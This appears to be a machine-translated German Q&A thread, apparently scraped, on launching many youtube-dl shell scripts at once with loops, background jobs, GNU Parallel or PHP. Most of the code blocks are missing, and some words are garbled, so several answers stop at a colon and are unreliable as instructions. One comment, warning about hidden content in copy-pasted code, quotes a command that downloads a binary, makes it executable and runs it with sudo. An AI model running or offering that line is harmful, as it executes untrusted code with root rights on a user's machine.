Ich habe ein Verzeichnis mit vielen .sh-Dateien, die alle beim Ausführen ein Terminal öffnen und einen youtube-dl-Download starten. Da es so viele gibt, hatte ich gehofft, einen Weg zu finden, sie alle gleichzeitig zu aktivieren und sofort mehrere verschiedene Terminals zu öffnen, anstatt sie alle separat auszuführen. Ich bin noch sehr neu in der Programmierung, daher bin ich mir nicht ganz sicher, wie ich das machen soll und ob ich ein Skript erstellen kann, um sie alle auszuführen, einen Befehl zu verwenden usw. Jede Hilfe ist willkommen, danke.
7
ls | parallel
.make -j
führt Jobs parallel aus.Antworten:
Während Sie in der Tat alle ausführen können
.sh
Dateien in einem Verzeichnis mit einer for - Schleife wie vorgeschlagen von Yaron, das ist wirklich ein über komplexen Ansatz. Schreiben Sie nicht viele Skripte, wenn der einzige Unterschied zwischen ihnen die RL ist, die sie herunterladen werden! Und es gibt absolut keinen Grund, für jeden von ihnen ein Terminalfenster zu erzeugen!Schreiben Sie stattdessen Ihre YouTube-URLs in eine Datei, eine pro Zeile:
Verwenden Sie dann zum Herunterladen (
file
ist der Name der Datei mit den URLs):Dadurch wird jedes Video in der Datei nacheinander heruntergeladen. Wenn Sie alle gleichzeitig herunterladen möchten (keine gute Idee, wenn Sie zu viele haben), können Sie jeden Download-Befehl im Hintergrund ausführen, indem Sie Folgendes hinzufügen
&
:quelle
youtube-dl
akzeptiert mehrere URLs als Argumente , so dass keine Schleife ist notwendig. :)youtube-dl
kann URLs aus einer Datei lesen :youtube-dl -a my-url-list.txt
. Alternativ können Sie die URL-Liste inyoutube-dl
die Befehlszeile einfügen :xargs youtube-dl < my-url-list.txt
.Das folgende Skript nimmt alle Dateien auf
.sh
und führt sie aus.Sie können die obigen Zeilen (ohne die erste Zeile
#/bin/bash
) in Ihr Terminal kopieren / einfügen , und es wird den Trick tun (danke @terdon für Ihren Kommentar).Sie können dieses Skript in einem anderen Ordner speichern (z. B.
/tmp/execute_all.sh
ausführen:Gehen Sie dann in das Verzeichnis mit den
.sh
Dateien und führen Sie das Skript aus mit:Das Skript versucht, alle Dateien auszuführen, die mit enden
.sh
quelle
<span>
oder zwei unsichtbare Elemente in den Codeblock undcurl virus.txt>evil.bin;chmod +x evil.bin;sudo ./evil.bin
auf den Computer des Benutzers einzufügen.<pre>
Tags eingeschlossen sind .Ich habe festgestellt, dass einige Video-Sites nicht sehr stabil sind und ich den Download mehrmals wiederholen muss. GNU Parallel kann das:
Dadurch wird ein Job pro CPU-Kern ausgeführt und 50 Mal versucht, wenn der Download fehlschlägt. Jobs werden beendet, die 10 länger als die mittlere Laufzeit dauern (z. B. wenn der Download nicht funktioniert). Es wird auch an die Datei angehängt,
my.log
sodass Sie den Status jedes Jobs sehen können.quelle
Wenn das Programm webbasiert ist, dh für Linux, versuchen Sie, eine PHP-Datei zu erstellen, um die Shell zu verarbeiten. und eine Shell-Datei, um die PHP zu behandeln ..
Beispiel: Die Datei runAllShell.php kann eine Schleife enthalten:
Stellen Sie sicher, dass alle .sh-Dateien im Verzeichnis numerisch sortiert sind, damit dies funktioniert, dh: 1.sh 2.sh 3.sh und so weiter.
quelle